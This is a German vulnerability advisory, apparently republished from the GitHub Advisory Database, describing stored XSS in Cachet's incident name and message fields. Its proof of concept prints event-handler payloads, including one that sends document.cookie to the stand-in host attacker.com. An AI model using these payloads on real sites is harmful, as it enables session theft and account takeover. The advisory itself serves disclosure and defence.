Gespeichertes XSS in der Incident-Komponente von Cachet
Zusammenfassung
In der Eingabemaske zur Vorfallserstellung besteht eine Sicherheitslücke für gespeichertes Cross-Site-Scripting (XSS). Ein authentifizierter Angreifer kann bösartiges HTML/JavaScript einfügen, das im Browser jedes Benutzers ausgeführt wird, der die Statusseite aufruft. Dies kann zum Diebstahl von Sitzungstokens und zur vollständigen Übernahme von Konten führen.
Details
Die Felder für Vorfallsname und Vorfallsnachricht bereinigen HTML-Event-Handler-Attribute nicht ordnungsgemäß. Während <script>-Tags offenbar gefiltert werden, werden ereignisbasierte Payloads nicht blockiert.
- Betroffener Endpunkt:
/dashboard/incidents/ - Betroffene Felder: Incident Name, Incident Message
- Betroffene Version: Cachet v3
Proof of Concept (PoC)
- Als authentifizierter Benutzer anmelden
- Zu
/dashboard/incidents/navigieren - Einen neuen Vorfall erstellen
- Die folgenden Payloads in die Felder für Name und Nachricht einfügen:
Payload 1 — Ausführung von XSS bestätigen:
<img src=x onerror="alert(1)">
Step 2 — Cookie/token exfiltration:
<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">
Step 3 — Forced redirect to sensitive page:
<img src=x onerror="window.location='/dashboard/manage-customization'">
- Den Vorfall speichern
- Zur öffentlichen Statusseite navigieren
- Das Payload wird im Browser des Opfers ausgeführt
Payload 1
<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />
Payload 2
<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />
Auswirkungen
Gespeichertes XSS betrifft alle Benutzer, die die öffentliche Statusseite aufrufen.
Ein Angreifer kann:
- Die Skriptausführung über ein Alert-Popup bestätigen
- Session-Cookies und XSRF-Tokens authentifizierter Benutzer entwenden
- Opfer unbemerkt auf sensible Seiten wie
/dashboard/manage-customizationweiterleiten
Diese Sicherheitslücke kann zur vollständigen Übernahme jedes Benutzerkontos führen, das die Statusseite aufruft, einschließlich Administratoren.
Was zu tun ist
Es wurden keine Maßnahmen zur Behebung festgelegt.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | cachethq/cachet | <= 2.4.1 | keine Korrektur |
Verweise
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N- Schwäche (CWE)
CWE-79- Plattform
- Composer
- Paket
cachethq/cachet- Veröffentlicht
- 20.10.2026
- Aktualisiert
- 21.10.2026 00:18
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-x397-5hrv-j9m9 - CC BY 4.0
Schwachstellenhistorie: cachethq/cachet
Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 6
- Erste → letzte
- 08.2021 10.2026
- Ohne Fix
- 2
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 1
- Hoch 4
- Mittel 1
Veröffentlichungen pro Jahr
- 2021: 4
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 1
-
Gespeichertes XSS in der Incident-Komponente von Cachet dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.